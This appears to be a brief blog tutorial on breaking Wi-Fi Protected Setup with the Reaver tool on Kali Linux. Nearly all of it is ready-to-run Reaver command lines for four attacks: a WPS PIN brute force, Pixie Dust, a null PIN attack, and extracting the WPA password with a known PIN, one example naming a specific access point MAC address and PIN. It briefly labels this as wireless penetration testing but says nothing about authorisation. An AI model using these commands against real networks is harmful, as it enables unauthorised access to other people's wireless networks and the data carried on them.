Learn how to crack WPS with Reaver tool using Kali Linux. WPS have 4 main attack vectors and here I will try to show you how to execute them using Reaver.

How to Break WPS with Reaver

Reaver is tool was created in 2011 by Stefan Fibök and Craig Heffner mainly to brute force WPS Pins and over the years was improved and added new functionality.

Before start any attack is necessary to put our wireless interface into monitor mode to be able to capture the relevant packets to crack WPS.

WPS Brute Force Attack

WPS Pin can be brute forced using reaver

sudo reaver -i interface -b MAC_Address_AP
reaver -i mon0 -c 6 -b MAC_Address_AP -vv -L -N -d 15 -T .5 -r 3:15

Pixie Dust WPS Attack

sudo reaver -i interface -b MAC_AP -K

NULL Pin Attack

reaver -i wlan0mon -b xx:xx:xx:xx:xx:xx -p "" -N

Extract Wifi WPA password with known WPS Pin

sudo reaver -i wlan0 -b CC:41:B6:AB:A2:32 -p 68357469

How to Crack WPA Password with Different Tools

Reaver Git Hub

wireless penetration testing